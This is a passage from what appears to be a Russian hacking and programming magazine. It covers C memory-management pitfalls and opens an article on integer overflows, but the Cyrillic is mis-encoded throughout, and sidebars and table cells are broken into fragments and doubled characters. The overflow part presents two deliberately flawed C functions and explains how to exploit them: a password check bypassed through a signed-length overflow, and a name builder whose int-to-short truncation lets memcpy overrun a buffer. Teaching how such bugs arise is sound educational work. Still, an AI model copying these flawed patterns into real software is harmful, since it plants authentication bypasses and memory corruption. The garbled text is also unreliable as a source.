îêîøå÷êà ñ îøèáêîé.

Ðåçþìèðóåì âñå âûøåñêàçàííîå.
Áîëüøèíñòâî ïðîáëåì âîçíèêàåò èç-
çà òîãî, ÷òî ïðîãðàììà ïûòàåòñÿ ïîëó-
÷èòü äîñòóï ê ïàìÿòè, ëåæàùåé âíå
äîñòóïíûõ åé àäðåñîâ. Òàêèå ïîïûòêè
îïåðàöèîííàÿ ñèñòåìà ïðåñåêàåò â
êîðíå, ïðèáèâàÿ ïðîöåññ.

Òàêæå, åñëè íå êîíòðîëèðîâàòü äëè-
íû áóôåðîâ, ñëó÷àåòñÿ, ÷òî îäíè äàí-
íûå ïðîãðàììû çàòèðàþò äðóãèå. Ýòî
ïðèâîäèò êî âñÿêèì ïðîòèâíûì ïîñëå-
äñòâèÿì. Âî èçáåæàíèå èõ â ñëó÷àå ñî
ñòðîêàìè áûëè ââåäåíû ôóíêöèè
strn*, èìåþùèå äîïîëíèòåëüíûé ïà-
ðàìåòð - ìàêñèìàëüíîå ÷èñëî ñèìâî-
ëîâ äëÿ îáðàáîòêè. Èõ èñïîëüçîâàíèå
çíà÷èòåëüíî áåçîïàñíåå.

Åùå îäíèì áàãîì â ðàáîòå ïðîãðàì-
ìû ÿâëÿåòñÿ íåèíèöèàëèçèðîâàííàÿ
íóëÿìè ïàìÿòü, ÷òî îñîáåííî çàìåòíî
ïðè ðàáîòå ñî ñòðîêàìè. ×òîáû íå
íàòêíóòüñÿ íà ýòîò áàã, ñëåäóåò èñ-
ïîëüçîâàòü âìåñòî malloc ôóíêöèþ
calloc, êîòîðàÿ íå òîëüêî âûäåëèò ïà-
ìÿòü, íî è îáíóëèò åå. 

ÎÑÂÎÁÎÆÄÅÍÈÅ ÏÀÌßÒÈ
Âñïîìíèì îáúåêòíî-îðèåíòèðî-

âàííûå ÿçûêè ïðîãðàììèðîâàíèÿ,
íàïðèìåð Java ñ åå ñáîðùèêîì ìóñî-
ðà. Ìû çíàåì, ÷òî, êîãäà îáúåêò íàì
ñòàíîâèòñÿ íå íóæåí, âûçûâàåòñÿ
äåñòðóêòîð è âñÿ çàíèìàåìàÿ èì
(îáúåêòîì) ïàìÿòü îñâîáîæäàåòñÿ.
Îäíàêî åñëè âî âðåìÿ ðàáîòû ïðîã-
ðàììû íåêîòîðûé îáúåêò äèíàìè÷åñ-
êè âûäåëÿåò íåîáõîäèìóþ åìó ïà-
ìÿòü (íàïðèìåð, ïîä áóôåðû, ìàññè-

âû), òî ïîñëå âûçîâà äåñòðóêòîðà âñå
óêàçàòåëè íà âûäåëåííûå áëîêè ïà-
ìÿòè èñ÷åçíóò, íî ïàìÿòü òàê è îñòà-
íåòñÿ íåîñâîáîæäåííîé. Òàêèì îáðà-
çîì, ïðîãðàììà áóäåò õðàíèòü äàí-
íûå, êîòîðûå åé àáñîëþòíî íå íóæíû
è ê êîòîðûì äàæå íåò äîñòóïà. Â
áîëüøèõ ïðîãðàììàõ ýòî ìîæåò ïðè-
âåñòè íå òîëüêî ê çàìåäëåíèþ èõ ðà-
áîòû, íî è ê çàâèñàíèþ èëè äàæå êðà-
õó ñèñòåìû. Èìåííî ïîýòîìó ìû è ïî-
ãîâîðèì ñåé÷àñ íà òåìó îñâîáîæäå-
íèÿ ïàìÿòè.

Ñìîòðè:

while (true) {
malloc(1);

};

Çàïóñòè è óâèäèøü, âî ÷òî ìîæåò
âûëèòüñÿ òàêîå áåçîáèäíîå äåéñòâèå,
êàê âûäåëåíèå îäíîãî áàéòà. È, ê òîìó
æå, ÿ óâåðåí, ÷òî ñ êàæäîé èòåðàöèåé
öèêëà êîëè÷åñòâî èñïîëüçóåìîé ïðîã-
ðàììîé ïàìÿòè áóäåò âîçðàñòàòü äà-
ëåêî íå íà îäèí áàéò.

Êñòàòè, î âûäåëåíèè ïàìÿòè. Êîãäà
äåëàåøü ýòî ñ ïîìîùüþ ôóíêöèé òè-
ïà malloc, îáÿçàòåëüíî ïðîâåðÿé óêà-
çàòåëü íà ðàâåíñòâî NULL. Âåäü ìî-
æåò òàê ñëó÷èòüñÿ, ÷òî ïî îïðåäåëåí-
íûì ïðè÷èíàì ñèñòåìà ñóìåëà âûäå-
ëèòü ïàìÿòü è âåðíóëà NULL. À åñëè
îáðàòèøüñÿ ïî íóëåâîìó óêàçàòåëþ, òî
íåìèíóåìî ïîëó÷èøü îêîøå÷êî ñ ñî-
îáùåíèåì î çàâåðøåíèè ïðîãðàììû.

Òàêæå ñòîèò àêêóðàòíî îáðàùàòüñÿ
ñ óêàçàòåëÿìè íà ìàññèâû, ïåðåäàâàå-
ìûìè â ôóíêöèþ. Ïîÿñíþ:

int some_func(int *m) {
while (*m != 0) {

printf("%d\n", *m);
m++;

};
}

Ýòà ôóíêöèÿ ïðèíèìàåò óêàçàòåëü
íà ìàññèâ öåëûõ è âûâîäèò åãî (ìàñ-
ñèâà) ñîäåðæèìîå íà ýêðàí. Òàê äå-
ëàòü íåëüçÿ. Êòî çíàåò, ñêîëüêî â
ýòîì ìàññèâå ÷èñåë. Ïîíÿòíî, ÷òî ýòó
ïðîãðàììó ïèøåøü òû, à óæ òû çàâå-
äîìî çíàåøü, ÷òî ÷èñåë áóäåò 17486,
ïðè÷åì ïîñëåäíåå èç íèõ ÿâëÿåòñÿ
íóëåì, è âñå áóäåò õîðîøî. À âäðóã òû
çàõî÷åøü ÷òî-íèáóäü èçìåíèòü?
Âäðóã òû ðåøèøü ñäåëàòü 17 ÷èñåë, è
ïîñëåäíåå áóäåò åäèíèöåé? À ôóíê-
öèþ èñïðàâèòü çàáóäåøü. Èëè ÷åðåç
ïàðó ìåñÿöåâ ñòîëêíåøüñÿ ñ àíàëî-
ãè÷íîé çàäà÷åé è ïðîñòî ñêîïèðóåøü
÷àñòü êîäà â íîâóþ ïðîãðàììó? Âñÿ-
êîå áûâàåò. Êàê ãîâîðèë Ïåòÿ Íîðòîí,
"backup often". Â äàííîì ñëó÷àå áóäü
ïðåäóñìîòðèòåëüíåå.

×òîáû îïèñàííàÿ âûøå ôóíêöèÿ
ñòàëà áåçîïàñíîé, íåîáõîäèìî äîáà-
âèòü â íåå âòîðîé ïàðàìåòð - êîëè÷å-
ñòâî ýëåìåíòîâ ìàññèâà, à òàêæå ñäå-
ëàòü ïðîâåðêó óêàçàòåëÿ íà NULL. 

ÍÀÏÓÒÑÒÂÈÅ
Åñëè òû ïèøåøü íà Visual C++, òî

ìîãó ïîñîâåòîâàòü òåáå î÷åíü ïîëåç-
íóþ ïðîãðàììó NuMega Bounds
Checker. Îíà âñòðàèâàåòñÿ â VC, îòñ-
ëåæèâàåò âñå âûäåëåíèÿ ðåñóðñîâ è
ïàìÿòè, èõ îñâîáîæäåíèå, à ïî çàâåð-
øåíèè ðàáîòû ïðîãðàììû âûäàåò îò-
÷åò î òîì, ãäå è ñêîëüêî áûëî âçÿòî, à
ñêîëüêî ïîëîæåíî îáðàòíî :-). Â ñâîå
âðåìÿ îíà ïîìîãëà ìíå âûëå÷èòü
ïðîãðàììó, êîòîðàÿ, ÿâëÿÿñü ñåòåâûì
ñåðâèñîì, ïðè áîëüøèõ íàãðóçêàõ íà-
÷èíàëà "ïîåäàòü" îïåðàòèâíóþ ïà-
ìÿòü ñî ñêîðîñòüþ íåñêîëüêî ìåãà-
áàéò â ñåêóíäó! Ñ òåõ ïîð ÿ îñîçíàë,
÷òî êîíòðîëü çà âûäåëÿåìîé ïàìÿòüþ
è åå îñâîáîæäåíèå - íå òîëüêî õîðî-
øèé òîí, íî è íåîáõîäèìîñòü.

Â ñëó÷àå åñëè òû ïðîãðàììèðóåøü
ïîä Linux, ñîâåòóþ ñìîòðåòü â ñòîðîíó
áèáëèîòåê íàïîäîáèå dmalloc, Electric
Fense. Òàêèå áèáëèîòåêè çàìåíÿþò
ñèñòåìíûå ôóíêöèè ðàáîòû ñ ïà-
ìÿòüþ ñâîèìè àíàëîãàìè è âåäóò ó÷åò
íàïîäîáèå Bounds Checker'à. E
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Áîëüøèíñòâî ïðîáëåì âîçíèêàåò 
èç-çà òîãî, ÷òî ïðîãðàììà ïûòàåòñÿ
ïîëó÷èòü äîñòóï ê ïàìÿòè, ëåæàùåé 

âíå äîñòóïíûõ åé àäðåñîâ.

dmalloc.com - ñêàæè óòå÷êàì ïàìÿòè ÍÅÒ
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Èñïîëüçóé
ïðè ðàáîòå
ñî ñòðîêàìè
âìåñòî
ôóíêöèè
malloc
ôóíêöèþ
calloc, êîòî-
ðàÿ íå
òîëüêî âû-
äåëèò ïà-
ìÿòü, íî è
îáíóëèò åå.

Âûäåëèë
ïàìÿòü - íå
çàáóäü îñ-
âîáîäèòü!



Ìûñëà Âëàäèñëàâ aka DigitalScream (digitalscream@real.xakep.ru)

Î í ìîã ñ ëåãêîñòüþ íàïèñàòü ýêñïëîèò ê 0day-óÿçâèìîñòè, îí áûñòðî ñòàë èçâåñòíûì â óçêèõ êðóãàõ è îäíèì èç
ïåðâûõ óçíàâàë î íîâûõ èçúÿíàõ� Îäíàæäû åìó ïðèíåñëè èñõîäíèê, óêðàäåííûé ó êðóïíîé ôèðìû. Ýòî áûëà

ðåàëèçàöèÿ êëèåíòñêîé ÷àñòè äëÿ áàíêîâñêîãî ïåðñîíàëà. Ðàáîòåíêà ïðåäñòîÿëà íå èç ëåãêèõ�

INTEGER OVERFLOW
×ÈÑËÀ ÊÀÊ ÎÄÍÀ ÈÇ ÏÅÐÂÎÏÐÈ×ÈÍ ÂÎÇÍÈÊÍÎÂÅÍÈß ÎØÈÁÎÊ

òå÷åíèåì âðåìåíè
âçëîìùèêè íàó÷èëèñü
íàõîäèòü ëàçåéêè â ñà-
ìûõ áåçîáèäíûõ, íà
ïåðâûé âçãëÿä, ìåñòàõ

ïðîãðàììû. Àòàêè, öåëü êîòîðûõ - ïîâ-
ëèÿòü íà ïàìÿòü ïðèëîæåíèÿ, óæå
äàâíî ýâîëþöèîíèðîâàëè îò êëàññè-
÷åñêèõ ïåðåïîëíåíèé ñòåêà äî èñ-
ïîëüçîâàíèÿ öåëûõ ñèñòåì òåõíîëî-
ãèé. Ïðè÷èíà ýâîëþöèè î÷åíü ïðîñòà -
ñ êàæäûì äíåì ïðîãðàììèñòû ïîëó÷à-
þò âñå áîëüøå è áîëüøå èíôîðìàöèè
î âîçìîæíûõ ïðè÷èíàõ âîçíèêíîâå-
íèÿ îøèáêè è ñïîñîáàõ èõ óñòðàíå-
íèÿ. À ïîñêîëüêó ðàñòåò ãðàìîòíîñòü
ðàçðàáîò÷èêîâ, òî è îøèáîê îíè äåëà-
þò ìåíüøå. Íî âñå æå íåêîòîðûå ïî-
òåíöèàëüíî îïàñíûå ìåñòà îñòàþòñÿ
íåçàìå÷åííûìè. ×àùå âñåãî ýòî öå-
ïî÷êà ìåëêèõ îøèáîê, êîòîðûå íå íå-
ñóò ÿâíîé îïàñíîñòè è ïîýòîìó èãíî-
ðèðóþòñÿ. À âåäü î÷åíü ÷àñòî èìåííî
òàêèå îøèáêè è äàþò âçëîìùèêó âîç-
ìîæíîñòü ïðîíèêíîâåíèÿ. 

ÏÐÈÑÒÓÏÈÌ�
Äàâàé äëÿ íà÷àëà âñïîìíèì êîå-

÷òî èç òåîðèè ïðåäñòàâëåíèÿ ÷èñåë â
IA32. Äëÿ ðàáîòû ñ ÷èñëàìè íà óðîâíå
ìàøèííûõ êîäîâ èñïîëüçóþòñÿ 8-, 16-
áèòíûå è ò.ä. ðåãèñòðû. Êîëè÷åñòâî èñ-
ïîëüçóåìûõ áèò çàâèñèò îò òîãî, ñ êà-

êèìè òèïàìè ïðîãðàììà èìååò äåëî. À
ïîñêîëüêó äëÿ õðàíåíèÿ çíà÷åíèé
÷èñëåííûõ ïåðåìåííûõ îòâîäèòñÿ îã-
ðàíè÷åííîå êîëè÷åñòâî ðàçðÿäîâ (áè-
òîâ), òî ïîÿâëÿþòñÿ òàêèå ïîíÿòèÿ,
êàê ìàêñèìàëüíîå è ìèíèìàëüíîå
çíà÷åíèÿ äëÿ êàæäîãî èç òèïîâ.

Ìîæíî çàìåòèòü, ÷òî ìàêñèìàëüíîå
çíà÷åíèå òèïà îïðåäåëÿåòñÿ íå òîëüêî
êîëè÷åñòâîì åãî ðàçðÿäîâ. Åñëè èäåò
ðå÷ü î ÷èñëàõ ñî çíàêîì, òî äèàïàçîí
ïðèíèìàåìûõ çíà÷åíèé óìåíüøàåòñÿ
ðîâíî â äâà ðàçà. Òî åñòü, åñëè äëÿ áåç-
çíàêîâîãî òèïà byte äèàïàçîí çíà÷åíèé
îò 0 äî 255, òî äëÿ çíàêîâîãî âàðèàíòà
îí áóäåò îò -127 äî +127. Íà ìàøèííîì
óðîâíå ÷èñëî ñ÷èòàåòñÿ ïîëîæèòåëü-
íûì, åñëè åãî ñàìûé ñòàðøèé ðàçðÿä ðà-
âåí íóëþ, è îòðèöàòåëüíûì â ïðîòèâî-
ïîëîæíîì ñëó÷àå. Òàêèì îáðàçîì, ñòàð-
øèé ðàçðÿä èñïîëüçóåòñÿ äëÿ ñëóæåá-
íûõ öåëåé, à äëÿ ïðåäñòàâëåíèÿ ÷èñëà
îñòàþòñÿ ñâîáîäíûìè 7 áèò, êîòîðûìè
ìîæíî îïèñàòü òîëüêî 0x7F çíà÷åíèé. Â
òîæå âðåìÿ äëÿ áåççíàêîâûõ ÷èñåë òà-
êîãî îãðàíè÷åíèÿ íåò, è ïîýòîìó îíè èñ-
ïîëüçóþò âñå 8 ðàçðÿäîâ. Ýòî óòâåðæ-
äåíèå ñïðàâåäëèâî äëÿ âñåõ îñòàëüíûõ
öåëî÷èñëåííûõ òèïîâ, ðàçíèöà çàêëþ-
÷àåòñÿ òîëüêî â ðàçðÿäíîñòè òèïà.

Ïîåõàëè äàëüøå. Ñëåäóþùåå, ÷òî
íóæíî ïîìíèòü, - ÷èñëà íîñÿò öèêëè-
÷åñêèé õàðàêòåð. Ýòî çíà÷èò, ÷òî åñëè
âçÿòü áåççíàêîâóþ ïåðåìåííóþ òèïà
long, êîòîðàÿ ðàâíà åäèíèöå, è óâåëè-
÷èâàòü åå äî òåõ ïîð, ïîêà ïåðåìåííàÿ
íå äîñòèãíåò ìàêñèìàëüíîãî çíà÷åíèÿ
0xFFFFFFFF (4294967295), òî ïîñëå
ñëåäóþùåãî èíêðåìåíòà åå çíà÷åíèå
áóäåò ðàâíî íóëþ, ïîòîì åäèíèöå è ò.ä.
Åñëè æå ìû èñïîëüçóåì çíàêîâûé òèï,
òî ïðè äîñòèæåíèè ìàêñèìàëüíîãî ïî-
ëîæèòåëüíîãî çíà÷åíèÿ
0x7FFFFFFFF(2147483647) ñëåäóþùèé
øàã óâåëè÷èò çíà÷åíèå äî
0x80000000. À ýòî óæå îòðèöàòåëü-
íîå ÷èñëî, ïîòîìó êàê îíî áîëüøå ïî-
ëîâèíû èç 0xFFFFFFFF íà 1, è íîâûì
çíà÷åíèåì ïåðåìåííîé áóäåò
2147483648. Ïðè êàæäîé èòåðàöèè
çíà÷åíèå ïåðåìåííîé áóäåò ðàñòè. Íî
îíî áóäåò ñòðåìèòüñÿ ê íóëþ (âåäü -
2147483648 < 0), à êîãäà çíà÷åíèå ñòà-
íåò ðàâíûì 0xFFFFFFFF (-1), òî ñëåäóþ-

ùèé øàã óñòàíîâèò çíà÷åíèå ïåðåìåí-
íîé â íóëü. Ïîñëå ÷åãî ïîâòîðÿåòñÿ
çàíîâî. Êàê òû ìîã óáåäèòüñÿ, ÷èñëàì
íå ñòîèò îñîáî äîâåðÿòü. Îíè èìåþò
ñïîñîáíîñòü ðàäèêàëüíî èçìåíÿòü
ñâîè çíà÷åíèÿ â ñàìûõ íåïðåäñêàçóå-
ìûõ áëîêàõ ïðîãðàììû. Ïðè÷åì ðå-
çóëüòàòû ìîãóò áûòü ôàòàëüíû äëÿ
ñîõðàíåíèÿ öåëîñòíîñòè ðåàëèçîâàí-
íîé ñèñòåìû áåçîïàñíîñòè, ïðèâîäÿ ê
âîçíèêíîâåíèþ äðóãèõ áîëåå îïàñíûõ
óÿçâèìîñòåé. À ïðè÷èí ìîæåò áûòü
ìíîæåñòâî, êàæäàÿ èç êîòîðûõ - ïðî-
ÿâëåíèå ñïåöèôè÷åñêèõ îñîáåííîñòåé
ïðåäñòàâëåíèÿ öåëî÷èñëåííûõ òèïîâ.

ÏÅÐÅÕÎÄ ÏÎËÎÆÈÒÅËÜÍÎÃÎ
×ÈÑËÀ Â ÎÒÐÈÖÀÒÅËÜÍÎÅ

Áîëåå ãëóáîêîå ïîíèìàíèå òåõíî-
ëîãèé, ñ ïîìîùüþ êîòîðûõ ìîæíî äî-
áèòüñÿ êàêèõ-ëèáî ðåçóëüòàòîâ, ìàíè-
ïóëèðóÿ ëèøü îäíèìè ÷èñëàìè, ïðè-
äåò ïîñëå àíàëèçà óÿçâèìûõ áëîêîâ
ïðîãðàììû, à òàêæå ïîïûòîê èõ èñ-
ïîëüçîâàíèÿ. Íà÷èíàòü èçó÷åíèå ÿ
ïðåäëàãàþ ñ ïðèìåðà 1. 

Åãî èäåÿ ïðîñòà: ôóíêöèè ïåðåäàåò-
ñÿ èäåíòèôèêàòîð ïîëüçîâàòåëÿ, ââå-
äåííûé ïàðîëü è åãî äëèíà. Çàäà÷à æå
ôóíêöèè - îïðåäåëèòü, ïðàâèëüíî ëè
ââåäåí ïàðîëü. Â ïëàíå ïðîãðàììû ýòî
ðåøàåòñÿ î÷åíü ïðèìèòèâíî: èäåò
ïðîñòîå ïîñèìâîëüíîå ñðàâíåíèå ââå-
äåííîãî è íàñòîÿùåãî ïàðîëåé. ×òîáû
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Àðèôìåòè-
÷åñêîå öå-
ëî÷èñëåííîå
ïåðåïîëíå-
íèå - ýòî
íåïðåäóñ-
ìîòðåííûé
ïåðåõîä
çíà÷åíèÿ
êàêîãî-ëèáî
öåëîãî ÷èñ-
ëà ÷åðåç
íîëü èëè
ñìåíà åãî
çíàêà âñëå-
äñòâèå
àðèôìåòè-
÷åñêèõ îïå-
ðàöèé íàä
ýòèì ÷èñ-
ëîì.

Ñðàâíåíèå ïîâåäåíèÿ çíàêîâûõ è
áåççíàêîâûõ ÷èñåë (íà ïðèìåðå òèïà
byte)

Òàáëèöà ðàçìåðîâ äëÿ äàííûõ ðàçíûõ
òèïîâ

INTEGER OVERFLOW26 ÎÑÍÎÂÛ

ÒÒèèïï ÐÐààççììååðð MMaaxx ((ááååçç
ççííààêêàà))

MMaaxx ((ññîî
ççííààêêîîìì))

byte 8 bit 0xFF 0x7F

short 16 bit 0xFFFF 0x7FFF

long 32 bit 0xFFFFFFFF 0x7FFFFFFF

bool Protocol::CheckPassword( int intUserID, 
char* szPassword, int intPasswordSize ) {
char* szOriginalPassword = GetPassword( intUserID );
bool bCorrect = FALSE;
if( intPasswordSize < 1 ) {                                  [1]
WriteToLog( "Password is less as 1 char" ); }
else { bCorrect = TRUE;                                    [2]
intPasswordSize++;                                           [3]
int intOffset = 0;
while( intOffset < intPasswordSize ) {               [4]
if ( szPassword[intOffset] !=
szOriginalPassword[intOffset] ) {
bCorrect = false;
break; } intOffset++; }
} return bCorrect; }

ÏÐÈÌÅÐ 1



íàéòè öåëî÷èñëåííîå ïåðåïîëíåíèå,
ìîæíî ïðîàíàëèçèðîâàòü õîä èñïîë-
íåíèÿ ïðîãðàììû, âûäåëÿÿ íåäîñòàòêè
è ïîëîæèòåëüíûå ÷åðòû àëãîðèòìà:
1. Ïðîâåðêà äëèíû ââåäåííîãî ïà-

ðîëÿ (äëèíà áîëüøå íóëÿ): 
+ ïàðîëü íå ìîæåò áûòü ïóñòûì (ñì. [1])
+ äëèíà íå ìîæåò áûòü îòðèöàòåëü-

íîé (ñì. [1]) 
- íåò îãðàíè÷åíèé íà ìàêñèìàëüíûé

ðàçìåð (ñì. [1])
2. Ïîñèìâîëüíàÿ ïðîâåðêà ïàðîëÿ:
- åñëè ââåäåííûé ïàðîëü ïðîøåë ïðî-

âåðêó #1, òî îí ñ÷èòàåòñÿ ïðàâèëüíûì,
ïîêà íå íàéäåíî õîòÿ áû îäíî îòëè÷èå
ìåæäó íèì è íàñòîÿùèì (ñì. [2]).

Ñîáñòâåííî ãîâîðÿ, ýòèõ íåäîñòàò-
êîâ õâàòèò, ÷òîáû âîéòè â ñèñòåìó, íå
çíàÿ ïðàâèëüíîãî ïàðîëÿ. Öèêë ïîñò-
ðîåí òàêèì îáðàçîì, ÷òî îí ïðîâåðÿåò
ïàðîëü îò íà÷àëà è äî êîíöà (èëè ïåð-
âîé îøèáêè), íî êðîìå òåêñòà ïàðîëÿ
äåëàåòñÿ äîïîëíèòåëüíàÿ ïðîâåðêà
íà çàâåðøàþùèé íîëü ñòðîêè (ýòî äå-
ëàåòñÿ äëÿ îñòàíîâêè ñðàâíåíèÿ, åñëè
äîñòèãíóò êîíåö ëþáîé èç ñâåðÿåìûõ
ñòðîê), è èìåííî îíà ïîìîæåò îáîéòè
ïðîâåðêó. Äåëî â òîì, ÷òî, åñëè íóæíî
ïðîâåðèòü è çàâåðøàþùèé íîëü, òî
êîëè÷åñòâî ïðîâåðîê äîëæíî áûòü
ðàâíî intPasswordSize (äëèíå ïàðîëÿ)
+ 1(íîëü) (ñì. [3]). Ïîýòîìó ïåðåä íà÷à-
ëîì ïðîâåðêè çíà÷åíèå
intPasswordSize óâåëè÷èâàåòñÿ íà
åäèíèöó. Åñëè âñïîìíèòü, ÷òî îãðàíè-
÷åíèÿ íà äëèíó ââîäèìîãî ïàðîëÿ íåò
(êðîìå ïðîâåðêè íà îòðèöàòåëüíîñòü
è íîëü), òî ìàêñèìàëüíàÿ äëèíà, êîòî-
ðóþ ìîæíî óêàçàòü, - ýòî 0x7FFFFFFF.
À ïîñêîëüêó èñïîëüçóåìûé òèï äëÿ
õðàíåíèÿ äëèíû (int) - öåëîå 32-áèò-

íîå çíàêîâîå ÷èñëî, óâåëè÷åíèå åãî
(2147483647) íà åäèíèöó ïðèâåäåò ê
öåëî÷èñëåííîìó ïåðåïîëíåíèþ è ïå-
ðåìåííàÿ intPasswordSize áóäåò ðàâíà
îòðèöàòåëüíîìó ÷èñëó 0x80000000
(-2147483648). Ýòî ïðîèçîéäåò ïîñëå
ïðîâåðêè äëèíû è ïåðåä ïðîâåðêîé
ñàìîãî ïàðîëÿ, à âåäü èìåííî â ýòîì
ìåñòå ïåðåìåííàÿ bCorrect (ôëàã ïðà-
âèëüíîñòè ïàðîëÿ) óñòàíàâëèâàåòñÿ â
èñòèíó (ñì. [2]), è, åñëè ïàðîëè íå ñîâ-
ïàäàþò ïðè ïîñëåäóþùåé ïðîâåðêå,
òî îí óñòàíàâëèâàåòñÿ â ëîæü (ïà-
ðîëü íåâåðíûé). Íî íàì ýòî íåâàæíî,
ïîñêîëüêó äëèíà - îòðèöàòåëüíîå ÷èñ-
ëî, à intOffset (èíäåêñ ñèìâîëà â ïàðî-
ëå) èìååò íà÷àëüíîå çíà÷åíèå 0 è óñ-
ëîâèå äëÿ âõîäà â öèêë íå èñïîëíèò-
ñÿ (ñì. [4]). À åñëè ïðîãðàììà íå çàõî-
äèò â áëîê ïðîâåðêè ïàðîëÿ, à ôëàã
bCorrect ãîâîðèò î òîì, ÷òî ïàðîëü
ïðàâèëüíûé, òî ôóíêöèÿ
CheckPassword âåðíåò èñòèíó, òåì ñà-
ìûì ïðåäîñòàâèâ âîçìîæíîñòü àâòî-
ðèçàöèè áåç ïðàâèëüíîãî ïàðîëÿ. 

Ýòîò ïðèìåð î÷åíü ïðîñò äëÿ ïîíè-
ìàíèÿ, íî â ðåàëüíîé æèçíè âñå îáñ-
òîèò ãîðàçäî ñëîæíåå. ×àùå âñåãî
óÿçâèìîñòè òàêîãî êëàññà ïðåñëåäóþò
îäíó öåëü - íàðóøèòü ðàáîòó ïðèëî-
æåíèÿ â ìåñòàõ çàïèñè èëè ÷òåíèÿ èç
ïàìÿòè. Ýòî äåëàåòñÿ, ÷òîáû ïîëó÷èòü
âîçìîæíîñòü âíåäðåíèÿ shell-êîäà
è/èëè ïåðåçàïèñè óêàçàòåëåé íà
ôóíêöèè, äàííûå è ò.ä. È, ÷òîáû êàê-
íèáóäü ïîâëèÿòü íà ïðîöåññû çàïèñè
â ïàìÿòü, èíîãäà ìîæíî ïðèáåãíóòü ê
öåëî÷èñëåííûì ïåðåïîëíåíèÿì. Îñ-
íîâíàÿ èäåÿ àòàêè îñòàåòñÿ ïðåæíåé,
ïðîñòî äåëàþòñÿ ïîïûòêè ïîâëèÿòü
íà ïåðåìåííûå, õðàíÿùèå ðàçìåð áó-
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ìûì ðåçóëüòàòàì! 
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ÒÒèèïï

ØØååññòòííààää-
ööààòòååððèè÷÷-
ííîîåå ççííàà-
÷÷ååííèèåå

ÇÇííàà÷÷ååííèèåå 
ááååçç ççííààêêàà

ÇÇííàà÷÷ååííèèåå 
ññîî ççííààêêîîìì

long

1
1
1
1
1
1
1
1

286331153 286331153

short 1
1
1
1

4369 4369

byte

1
1

17 17

long

0
0
0
1
0
0
0
0

65536 65536

short 0
0
0
0

0 0

byte

0
0

0 0

long

F
F
F
F
F
F
F
F

4294967295 -1

short F
F
F
F

65535 -1

byte

F
F

255 -1

long

0
0
0
F
0
0
0
1

983041 983041

short 0
0
0
1

1 1

byte

0
1

1 1

long

F
0
0
0
F
0
F
0

4026593520 -268373776

short F
0
F
0

61680 -3856

byte

F
0

240 -16

const int MAX_SIZE = 0xFF;
const int ZERO_AT_EOS = 0x01;
.....
int Protocol::GetMaxStrSize( int intMaximalSize,
int intReservedSize ) {
return intMaximalSize - ( intReservedSize + ZERO_AT_EOS ); }
char* Protocol::GenerateFullName( char* szUserName ,
int intUserNameSize ) {
unsigned short shUserNameSize = intUserNameSize;
char* szDomainName = GetDomainName();
if( shUserNameSize >                                                           [1]
GetMaxStrSize( MAX_SIZE, strlen(szDomainName ) ) ) {
WriteToLog( "UserName is too long" ); }
else { char* szResult = new char[MAX_SIZE];
memcpy( szResult, szUserName, intUserNameSize );       [2]
memcpy( szResult + intUserNameSize, 
szDomainName, strlen( szDomainName ) );
szResult[ intUserNameSize + 
strlen( szDomainName ) ] = '\x00'; } }

ÏÐÈÌÅÐ 2

Ñðàâíåíèå ïîâåäåíèÿ çíàêîâûõ è áåç-
çíàêîâûõ ÷èñåë (íà ïðèìåðå òèïà byte)

Ïîòåðÿ çíà-
÷èìûõ ðàç-
ðÿäîâ - ýòî
ñèòóàöèÿ,
êîòîðàÿ ìî-
æåò âîçíèê-
íóòü ïðè
êîïèðîâà-
íèè ÷èñåë ñ
áîëüøåé
ðàçðÿä-
íîñòüþ â
÷èñëà ñ
ìåíüøåé,
ïðè ýòîì
ñòàðøèå
ðàçðÿäû áó-
äóò ïîòåðÿ-
íû äëÿ ïðè-
åìíèêà.



ôåðà, åãî äëèíó è âñå, ÷òî ñ ýòèì ñâÿ-
çàíî. Õîòÿ àðèôìåòè÷åñêèå ïåðåïîë-
íåíèÿ è ìîãóò ïðèâåñòè ê ïåðåïîëíå-
íèÿì ïàìÿòè, íà ïðàêòèêå ÷àùå ìîæíî
âñòðåòèòü óÿçâèìîñòè, íåñóùèå íåñ-
êîëüêî äðóãîé õàðàêòåð.

ÏÐÎÁËÅÌÀ ÏÎÒÅÐÈ
ÇÍÀ×ÈÌÛÕ ÐÀÇÐßÄÎÂ

Âçãëÿíè íà ïðèìåð 2 (â íåì ôóíê-
öèÿ ïîëó÷àåò èìÿ ïîëüçîâàòåëÿ è
âîçâðàùàåò åãî ïîëíîå èìÿ, âêëþ÷à-
þùåå òàêæå íàçâàíèå äîìåíà) è ïî-
ïûòàéñÿ ïîíÿòü, ÷òî â íåì íå òàê. 

Íà ïåðâûé âçãëÿä, ïðîáëåì â ôóíê-
öèè íåò, íî ýòî òîëüêî êàæåòñÿ. Äåëî â
òîì, ÷òî ôóíêöèÿ GenerateFullName ïî-
ëó÷àåò äâà ïàðàìåòðà: èìÿ ïîëüçîâàòå-
ëÿ (óêàçàòåëü íà ñòðîêó) è äëèíó ýòîãî
æå èìåíè (32-áèòíîå ÷èñëî). Ïðè âõîäå
â ôóíêöèþ ïðîèñõîäèò ïðîâåðêà, ïî-
ìåñòèòñÿ ëè ïîëíîå èìÿ ïîëüçîâàòåëÿ
â ñòðîêó-ðåçóëüòàò (ñì. [1]). È åñëè ïîë-
íîå èìÿ ïðåâîñõîäèò ïî ðàçìåðàì íå-
êèé ìàêñèìàëüíûé ðàçìåð MAX_SIZE,
òî êîïèðîâàíèå íå ïðîèçâîäèòñÿ. Âñåã-
äà ëè ýòî òàê? Ñðàâíåíèå äëèíû ïðîèç-
âîäèòñÿ îòíîñèòåëüíî ïåðåìåííîé
shUserNameSize, à íå intUserNameSize,
ïðè÷åì îíè äîëæíû áûòü ðàâíû äðóã
äðóãó. Íà ñàìîì äåëå, ïîñëåäíåå óòâå-
ðæäåíèå íå âñåãäà ñïðàâåäëèâî. È ýòî
ñâÿçàíî ñ ðàçðÿäíîñòüþ ðàçíûõ òèïîâ
äàííûõ, ÷òî ïðèâîäèò ê îáðåçàíèþ çíà-
÷åíèé ïåðåìåííûõ. 

Òàêèì îáðàçîì, åñëè àðãóìåíò ôóíê-
öèè intUserNameSize áóäåò áîëüøå,
÷åì 0xFFFF, òî â shUserNameSize çà-
ïèøóòñÿ òîëüêî ïîñëåäíèå 16 ðàçðÿ-
äîâ. Íàïðèìåð, åñëè óêàçàòü, ÷òî äëè-

íà èìåíè ñîñòàâëÿåò 0õ10001 (65537),
â ïðîâåðêå ïðîèçîéäåò ñðàâíåíèå
òðåáóåìîé äëèíû ñòðîêè ñ äëèíîé
èìåíè 0õ0001 (1). 0õ0001 - ïîòîìó, ÷òî
